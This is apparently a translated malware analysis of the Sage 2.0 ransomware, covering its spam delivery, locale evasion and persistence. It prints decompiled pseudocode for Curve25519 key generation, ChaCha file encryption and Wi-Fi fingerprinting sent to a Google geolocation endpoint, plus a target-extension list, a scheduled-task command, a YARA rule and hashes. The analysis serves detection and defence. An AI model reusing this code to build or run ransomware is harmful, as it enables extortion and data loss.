針對(duì)勒索軟件Sage 2.0的分析
前言
Sage勒索軟件是勒索軟件家族的一個(gè)新成員,也是勒索軟件CryLocker的一個(gè)變種。從目前情況分析,隱藏在Sage背后的始作俑者與勒索軟件Cerber、Locky和Spora的散布者應(yīng)該師出同門。
在本文的分析案例中,Sage借助垃圾郵件進(jìn)行傳播擴(kuò)散,惡意垃圾郵件中僅僅包含一個(gè)zip壓縮文件,沒(méi)有其他文字內(nèi)容。該zip文件包含了一份Word宏文檔,其主要功能是下載及安裝Sage勒索軟件。
運(yùn)行該勒索軟件后,Windows的UAC窗口會(huì)不斷重復(fù)顯示,直到用戶點(diǎn)擊“Yes”按鈕,允許勒索軟件運(yùn)行為止。
隨后勒索軟件開始對(duì)文件進(jìn)行加密,被加密過(guò)的文件名以“.sage”結(jié)尾。
勒索軟件的贖金頁(yè)面會(huì)告訴受害者去Tor網(wǎng)絡(luò)頁(yè)面支付贖金,但首先受害者需要輸入正確的驗(yàn)證碼才能訪問(wèn)該頁(yè)面。
驗(yàn)證碼校驗(yàn)通過(guò)后,受害者可以看到Sage 2.0的主頁(yè)面,如下圖所示。
受害者甚至可以在這個(gè)網(wǎng)站與軟件作者進(jìn)行交流。
Sage不會(huì)在加密工作結(jié)束后自我刪除,而是將自身復(fù)制到“%APPDATA%\Roaming”目錄,每次系統(tǒng)重啟后,Sage會(huì)重新加密所有文件,直到受害者支付贖金。
技術(shù)分析
接下來(lái)我們將著重從技術(shù)角度對(duì)Sage 2.0進(jìn)行分析。
軟件的主函數(shù)流程與以下代碼類似:
- int main(int argc, const char **argv, const char **envp)
- {
- ModCheck();
- DebugCheck();
- AntiDebug(v3);
- if ( AntiDebugCheckMutex() )
- return 0;
- GetOrGenerateMainCryptoKey();
- if ( IsProtectedLocale() )
- {
- FingerprintLocation(2);
- Sleep(0x493E0u);
- FingerprintLocation(2);
- Sleep(0x927C0u);
- FingerprintLocation(2);
- SelfDelete();
- result = 0;
- }
- else
- {
- if ( !CheckFingerprintLocation() )
- return 0;
- result = CreateThreadsAndEncrypt(&mainEncKeyt);
- }
- return result;
- }
代碼中包含很多的指紋信息探測(cè)及檢查過(guò)程,這些過(guò)程都是常見流程,比較有趣的功能包括以下幾點(diǎn):
1)調(diào)試開關(guān)功能
首次運(yùn)行時(shí)軟件可能會(huì)出現(xiàn)某些問(wèn)題,因此軟件內(nèi)置了一個(gè)調(diào)試命令行參數(shù)功能來(lái)測(cè)試軟件設(shè)置參數(shù)是否正確:
- LPWSTR *DebugCheck()
- {
- cmdLine = GetCommandLineW();
- result = CommandLineToArgvW(cmdLine, &numArgs);
- if ( numArgs == 2 )
- {
- result = (LPWSTR *)result[1];
- if ( *result == 'd' && !*(result + 1) )
- {
- if ( AttachConsole(0xFFFFFFFF) )
- {
- stdout = GetStdHandle(0xFFFFFFF5);
- debugmsg = sprintf_0("{\"b\":\"%#.*s\"}", 8, FingerprintDword + 4);
- WriteFile(stdout, debugmsg, lstrlenA(debugmsg), &NumberOfBytesWritten, 0);
- }
- ExitProcess(0);
- }
- }
- }
調(diào)試功能的運(yùn)行結(jié)果如下圖所示。
這個(gè)調(diào)試功能之所以存在,可能是因?yàn)樽髡呤韬龃笠猓藦淖罱K版本中刪除相應(yīng)代碼。
2)區(qū)域檢查功能
Sage 2.0的作者給了某幾個(gè)國(guó)家特殊關(guān)照,如以下的區(qū)域檢查代碼片段:
- signed int IsProtectedLocale()
- {
- localeCount = GetKeyboardLayoutList(10, (HKL *)&List);
- if ( localeCount <= 0 )
- return 0;
- i = 0;
- if ( localeCount <= 0 )
- return 0;
- while ( 1 )
- {
- next = (unsigned int)(&List)[i] & 0x3FF;
- if ( next == 0x23 || next == 0x3F || next == 0x19 || next == 0x22 || next == 0x43 || (_WORD)next == 0x85 )
- break;
- if ( ++i >= localeCount )
- return 0;
- }
- return 1;
- }
碼對(duì)用戶鍵盤布局進(jìn)行了檢測(cè),next變量的數(shù)值與語(yǔ)種的對(duì)應(yīng)關(guān)系為:
有點(diǎn)令人失望的是波蘭語(yǔ)系并不在軟件的例外列表中,如果Sage作者能看到這篇文章的話,請(qǐng)將0x15值添加到程序代碼中(注:作者的調(diào)侃)。
3)地理位置指紋識(shí)別功能
Sage試圖通過(guò)maps.googleapis.com得到宿主機(jī)的地理位置信息以及SSID、MAC信息,如以下代碼:
- strcpy_((int)arg0, "/maps/api/browserlocation/json?browser=firefox&sensor=true");
- i = 0;
- if ( v12[1] )
- {
- offset = 0;
- do
- {
- ss_ = (int)&v12[offset + 2];
- if ( *(_DWORD *)ss_ <= 0x20u )
- {
- ToHexStrring(&mac, (unsigned __int8 *)&v12[offset + 12]);
- str_append(ssid, (_BYTE *)(ss_ + 4), *(_DWORD *)ss_);
- ssid[*(_DWORD *)ss_] = 0;
- sprintf_1((int)arg0, "&wifi=mac:%s|ssid:%s|ss:%d", &mac, ssid, (*(_DWORD *)(ss_ + 60) >> 1) - 100);
- }
- ++i;
- offset += 90;
- }
- while ( i < v12[1] );
- }
- // ...
- DoHttpGetRequest((DWORD)&dwNumberOfBytesAvailable, "maps.googleapis.com", 0x1BBu, v8)
特征文件判定,文件加密流程開始前,Sage首先檢查某個(gè)特征文件是否存在:
- if ( CreateFileW(L"C:\\Temp\\lol.txt", 0x80000000, 1u, 0, 3u, 0, 0) == (HANDLE)-1 )
- {
- // encryption code
- }
Sage作者通過(guò)判斷特征文件是否存在,決定加密流程是否啟動(dòng),以避免對(duì)作者本機(jī)的文件造成影響。
若該特征文件不存在,Sage將啟動(dòng)加密流程。
文件后綴清單
Sage不會(huì)對(duì)所有文件進(jìn)行加密,它只對(duì)文件后綴清單中的文件進(jìn)行加密,受影響的文件后綴如下所示:
- .dat .mx0 .cd .pdb .xqx .old .cnt .rtp .qss .qst .fx0 .fx1 .ipg .ert .pic .img
- .cur .fxr .slk .m4u .mpe .mov .wmv .mpg .vob .mpeg .3g2 .m4v .avi .mp4 .flv
- .mkv .3gp .asf .m3u .m3u8 .wav .mp3 .m4a .m .rm .flac .mp2 .mpa .aac .wma .djv
- .pdf .djvu .jpeg .jpg .bmp .png .jp2 .lz .rz .zipx .gz .bz2 .s7z .tar .7z .tgz
- .rar .zip .arc .paq .bak .set .back .std .vmx .vmdk .vdi .qcow .ini .accd .db
- .sqli .sdf .mdf .myd .frm .odb .myi .dbf .indb .mdb .ibd .sql .cgn .dcr .fpx
- .pcx .rif .tga .wpg .wi .wmf .tif .xcf .tiff .xpm .nef .orf .ra .bay .pcd .dng
- .ptx .r3d .raf .rw2 .rwl .kdc .yuv .sr2 .srf .dip .x3f .mef .raw .log .odg .uop
- .potx .potm .pptx .rss .pptm .aaf .xla .sxd .pot .eps .as3 .pns .wpd .wps .msg
- .pps .xlam .xll .ost .sti .sxi .otp .odp .wks .vcf .xltx .xltm .xlsx .xlsm
- .xlsb .cntk .xlw .xlt .xlm .xlc .dif .sxc .vsd .ots .prn .ods .hwp .dotm .dotx
- .docm .docx .dot .cal .shw .sldm .txt .csv .mac .met .wk3 .wk4 .uot .rtf .sldx
- .xls .ppt .stw .sxw .dtd .eml .ott .odt .doc .odm .ppsm .xlr .odc .xlk .ppsx
- .obi .ppam .text .docb .wb2 .mda .wk1 .sxm .otg .oab .cmd .bat .h .asx .lua .pl
- .as .hpp .clas .js .fla .py .rb .jsp .cs .c .jar .java .asp .vb .vbs .asm .pas
- .cpp .xml .php .plb .asc .lay6 .pp4 .pp5 .ppf .pat .sct .ms11 .lay .iff .ldf
- .tbk .swf .brd .css .dxf .dds .efx .sch .dch .ses .mml .fon .gif .psd .html
- .ico .ipe .dwg .jng .cdr .aep .aepx .123 .prel .prpr .aet .fim .pfb .ppj .indd
- .mhtm .cmx .cpt .csl .indl .dsf .ds4 .drw .indt .pdd .per .lcd .pct .prf .pst
- .inx .plt .idml .pmd .psp .ttf .3dm .ai .3ds .ps .cpx .str .cgm .clk .cdx .xhtm
- .cdt .fmv .aes .gem .max .svg .mid .iif .nd .2017 .tt20 .qsm .2015 .2014 .2013
- .aif .qbw .qbb .qbm .ptb .qbi .qbr .2012 .des .v30 .qbo .stc .lgb .qwc .qbp
- .qba .tlg .qbx .qby .1pa .ach .qpd .gdb .tax .qif .t14 .qdf .ofx .qfx .t13 .ebc
- .ebq .2016 .tax2 .mye .myox .ets .tt14 .epb .500 .txf .t15 .t11 .gpc .qtx .itf
- .tt13 .t10 .qsd .iban .ofc .bc9 .mny .13t .qxf .amj .m14 ._vc .tbp .qbk .aci
- .npc .qbmb .sba .cfp .nv2 .tfx .n43 .let .tt12 .210 .dac .slp .qb20 .saj .zdb
- .tt15 .ssg .t09 .epa .qch .pd6 .rdy .sic .ta1 .lmr .pr5 .op .sdy .brw .vnd .esv
- .kd3 .vmb .qph .t08 .qel .m12 .pvc .q43 .etq .u12 .hsr .ati .t00 .mmw .bd2 .ac2
- .qpb .tt11 .zix .ec8 .nv .lid .qmtf .hif .lld .quic .mbsb .nl2 .qml .wac .cf8
- .vbpf .m10 .qix .t04 .qpg .quo .ptdb .gto .pr0 .vdf .q01 .fcr .gnc .ldc .t05
- .t06 .tom .tt10 .qb1 .t01 .rpf .t02 .tax1 .1pe .skg .pls .t03 .xaa .dgc .mnp
- .qdt .mn8 .ptk .t07 .chg .#vc .qfi .acc .m11 .kb7 .q09 .esk .09i .cpw .sbf .mql
- .dxi .kmo .md .u11 .oet .ta8 .efs .h12 .mne .ebd .fef .qpi .mn5 .exp .m16 .09t
- .00c .qmt .cfdi .u10 .s12 .qme .int? .cf9 .ta5 .u08 .mmb .qnx .q07 .tb2 .say
- .ab4 .pma .defx .tkr .q06 .tpl .ta2 .qob .m15 .fca .eqb .q00 .mn4 .lhr .t99
- .mn9 .qem .scd .mwi .mrq .q98 .i2b .mn6 .q08 .kmy .bk2 .stm .mn1 .bc8 .pfd .bgt
- .hts .tax0 .cb .resx .mn7 .08i .mn3 .ch .meta .07i .rcs .dtl .ta9 .mem .seam
- .btif .11t .efsl .$ac .emp .imp .fxw .sbc .bpw .mlb .10t .fa1 .saf .trm .fa2
- .pr2 .xeq .sbd .fcpa .ta6 .tdr .acm .lin .dsb .vyp .emd .pr1 .mn2 .bpf .mws
- .h11 .pr3 .gsb .mlc .nni .cus .ldr .ta4 .inv .omf .reb .qdfx .pg .coa .rec .rda
- .ffd .ml2 .ddd .ess .qbmd .afm .d07 .vyr .acr .dtau .ml9 .bd3 .pcif .cat .h10
- .ent .fyc .p08 .jsd .zka .hbk .mone .pr4 .qw5 .cdf .gfi .cht .por .qbz .ens
- .3pe .pxa .intu .trn .3me .07g .jsda .2011 .fcpr .qwmo .t12 .pfx .p7b .der .nap
- .p12 .p7c .crt .csr .pem .gpg .key
加密過(guò)程
勒索軟件最有趣的部分莫過(guò)于文件的加密過(guò)程。在勒索軟件中,Sage 2.0是非常特別的一個(gè)存在,因?yàn)樗捎昧藱E圓曲線加密算法對(duì)文件進(jìn)行加密。
加密所使用的橢圓曲線函數(shù)是“y^2 = x^3 + 486662x^x + x”,使用的素?cái)?shù)范圍是“2^255 – 19”,基數(shù)變量x=9。Sage所采用的橢圓曲線是著名的Curve25519曲線,是現(xiàn)代密碼學(xué)中最先進(jìn)的技術(shù)。Curve25519不僅是最快的ECC(Elliptic Curve Cryptography,橢圓曲線加密算法)曲線之一,也不易受到弱RNG(Random Number Generator,隨機(jī)數(shù)生成器)的影響,設(shè)計(jì)時(shí)考慮了側(cè)信道攻擊,避免了許多潛在的實(shí)現(xiàn)缺陷,并且很有可能不存在第三方內(nèi)置后門。
Sage將Curve25519算法與硬編碼的公鑰一起使用生成共享密鑰。主密鑰生成算法如下所示(結(jié)構(gòu)體和函數(shù)名由我們重新命名):
- int __cdecl GenerateMainKey(curve_key *result, const void *publicKey)
- {
- char mysecret[32]; // [esp+4h] [ebp-40h]@1
- char shared[32]; // [esp+24h] [ebp-20h]@1
- result->flag = 1;
- GenerateCurve25519SecretKey(mysecret);
- ComputeCurve25519MatchingPublicKey(result->gpk, mysecret);
- ComputeCurve25519SharedSecret(shared, mysecret, publicKey);
- ConvertBytesToCurve22519SecretKey(shared);
- ComputeCurve25519MatchingPublicKey(result->pk, shared);
- return 0;
- }
這段代碼看起來(lái)像是基于ECC的DH密鑰交換協(xié)議(ECDH,Elliptic Curve Diffie-Hellman)的實(shí)現(xiàn)代碼,但其中沒(méi)有任何保存算法私鑰的流程(私鑰只用于數(shù)據(jù)解密用途,可由軟件作者可以使用自己的私鑰隨時(shí)創(chuàng)建)。
代碼中復(fù)雜的函數(shù)只是ECC函數(shù)(我們稱之為CurveEncrypt函數(shù))的封裝而已。例如,計(jì)算匹配公鑰的函數(shù)是curve25519(secretKey, basePoint),其中basePoint等于9(即9后面跟31個(gè)零)。
- int __cdecl ComputeCurve25519MatchingPublicKey(char *outPtr, char *randbytes)
- {
- char key[32]; // [esp+8h] [ebp-20h]@1
- qmemcpy(key, &Curve25519BasePoint, sizeof(key));
- key[31] = Curve25519BasePointEnd & 0x7F;
- return CurveEncrypt(outPtr, randbytes, key);
- }
共享密鑰的計(jì)算與之類似,不同的是所使用的是公鑰而不是常數(shù)基數(shù),如下:
- int __cdecl ComputeCurve25519SharedSecret(char *shared, char *mySecret, const void *otherPublicKey)
- {
- char a3a[32]; // [esp+8h] [ebp-20h]@1
- qmemcpy(a3a, otherPublicKey, sizeof(a3a));
- a3a[31] &= 0x7Fu;
- return CurveEncrypt(shared, mySecret, a3a);
- }
得益于Curve25519的精妙設(shè)計(jì),任意序列隨機(jī)字節(jié)與密鑰之間的相互轉(zhuǎn)換是非常容易的,只需要對(duì)幾個(gè)比特進(jìn)行修改就已足夠:
- curve_key *__cdecl ConvertBytesToCurve22519SecretKey(curve_key *a1)
- {
- curve_key *result; // eax@1
- char v2; // cl@1
- result = a1;
- v2 = a1->gpk[31];
- result->gpk[0] &= 248u;
- a1->gpk[31] = v2 & 0x3F | 0x40;
- return result;
- }
同理,私鑰的生成也非常容易,只需要生成一個(gè)32字節(jié)的隨機(jī)數(shù),將其轉(zhuǎn)換為私鑰即可:
- int __cdecl GenerateCurve25519SecretKey(_BYTE *buffer)
- {
- char v1; // al@1
- getSecureRandom(32, (int)buffer);
- v1 = buffer[31];
- *buffer &= 248u;
- buffer[31] = v1 & 0x3F | 0x40;
- return 0;
- }
以上就是密鑰生成的全部流程。至于文件加密流程,Sage首先是使用Curve25519對(duì)文件進(jìn)行首次加密,再利用ChaCha算法進(jìn)行后續(xù)加密(同樣也是非常規(guī)加密方法),加密密鑰附在輸出文件的尾部:
- GenerateCurve25519SecretKey(&secretKey);
- ComputeCurve25519MatchingPublicKey(pubKey, &secretKey);
- ComputeCurve25519SharedSecret(sharedSecret, &secretKey, ellipticCurveKey->pk);
- //
- ChaChaInit(&chaCha20key, (unsigned __int8 *)sharedSecret, (unsigned __int8 *)minikey);
- while (bytesLeftToRead) {
- // Read from file to lpBuff
- ChaChaEncrypt(&chaCha20key, lpBuff, lpBuff, numBytesRead);
- // Write from file to lpBuff
- }
- AppendFileKeyInfo(hFile_1, ellipticCurveKey, &FileSize, pubKey, a5);
AppendFileKeyInfo函數(shù)的功能是將共享密鑰和pubKey附加到文件尾部:
- int __cdecl AppendFileKeyInfo(HANDLE hFile, curve_key *sharedKey, DWORD *dataSize, char *pubKey, int a5)
- {
- DWORD dataSizeV; // edx@1
- int result; // eax@3
- _DWORD buffer[24]; // [esp+8h] [ebp-60h]@1
- buffer[0] = 0x5A9EDEAD;
- qmemcpy(&buffer[1], sharedKey, 0x20u);
- qmemcpy(&buffer[9], pubKey, 0x20u);
- dataSizeV = *dataSize;
- buffer[19] = dataSize[1];
- buffer[18] = dataSizeV;
- buffer[21] = a5;
- buffer[20] = 0;
- buffer[22] = 0x5A9EBABE;
- if ( WriteFile(hFile, buffer, 0x60u, (LPDWORD)&sharedKey, 0) && sharedKey == (curve_key *)96 )
- result = 0;
- else
- result = -5;
- return result;
- }
ChaCha并不是勒索軟件常用的算法,它與Salsa20算法緊密相關(guān)(勒索軟件Petya用的就是Salsa20算法)。我們并不知道為何Sage不適用AES,有可能它只是想特立獨(dú)行而已。
換而言之,對(duì)于每一個(gè)加密文件,都對(duì)應(yīng)有兩組密鑰+一個(gè)密鑰對(duì),對(duì)應(yīng)關(guān)系如下所示:
- my_secret <- random
- my_public <- f(my_secret) # gpk
- sh_secret <- f(my_secret, c2_public)
- sh_public <- f(sh_secret) # pk
- fl_secret <- random
- fl_public <- f(fl_secret)
- fl_shared <- f(fl_secret, sh_public)
- chachakey <- f(fl_shared)
Sage完成加密工作后,我們只獲得了其中my_public、sh_public以及fl_shared的值,我們還需要獲得chachakey的值才能正確解密文件。
Sage采用了相當(dāng)牢固的加密方法,可以在離線狀態(tài)下加密文件,不需要連接C&C服務(wù)器進(jìn)行密鑰協(xié)商,原因在于加密所需要的公鑰已經(jīng)硬編碼在勒索軟件中,并且經(jīng)過(guò)了非對(duì)稱加密處理。如果Sage作者沒(méi)有犯太大的編程錯(cuò)誤的話,那么文件的解密恢復(fù)就渺渺無(wú)期。當(dāng)然,主加密密鑰最終總是有可能會(huì)被泄露或者公布出來(lái)的。
附加信息
匹配Sage所使用的Yara規(guī)則:
- rule sage
- {
- meta:
- author="msm"
- strings:
- /* ransom message */
- $ransom1 = "ATTENTION! ALL YOUR FILES WERE ENCRYPTED!"
- $ransom2 = "SAGE 2.0 uses military grade elliptic curve cryptography and you"
- /* other strings */
- $str0 = "!Recovery_%s.html"
- $str1 = "/CREATE /TN \"%s\" /TR \"%s\" /SC ONLOGON /RL HIGHEST /F"
- /* code */
- $get_subdomain = {8B 0D ?? ?? 40 00 6A ?? [2] A1 ?? ?? 40 00 5? 5? 50 51 53 E8}
- $debug_file_name = {6A 00 6A 01 68 00 00 00 80 68 [4] FF 15 [4] 83 F8 FF}
- $get_request_subdomain = {74 ?? A1 [4] 5? 5? 68 ?? ?? 40 00 E8}
- $get_ec_pubkey = {68 [2] 40 00 68 [2] 40 00 E8 [4] 68 B9 0B 00 00 6A 08 E8}
- $get_extensions = { 8B 35 [2] 40 00 [0-3] 80 3E 00 74 24 }
- condition:
- all of ($ransom*) and any of ($str*)
- and any of ($get_subdomain, $debug_file_name, $get_request_subdomain, $get_ec_pubkey, $get_extensions)
- }
樣本哈希值(SHA256):
- sample 1, 362baeb80b854c201c4e7a1cfd3332fd58201e845f6aebe7def05ff0e00bf339
- sample 2, 3b4e0460d4a5d876e7e64bb706f7fdbbc6934e2dea7fa06e34ce01de8b78934c
- sample 3, ccd6a495dfb2c5e26cd65e34c9569615428801e01fd89ead8d5ce1e70c680850
- sample 4, 8a0a191d055b4b4dd15c66bfb9df223b384abb75d4bb438594231788fb556bc2
- sample 5, 0ecf3617c1d3313fdb41729c95215c4d2575b4b11666c1e9341f149d02405c05
其他資料:
https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga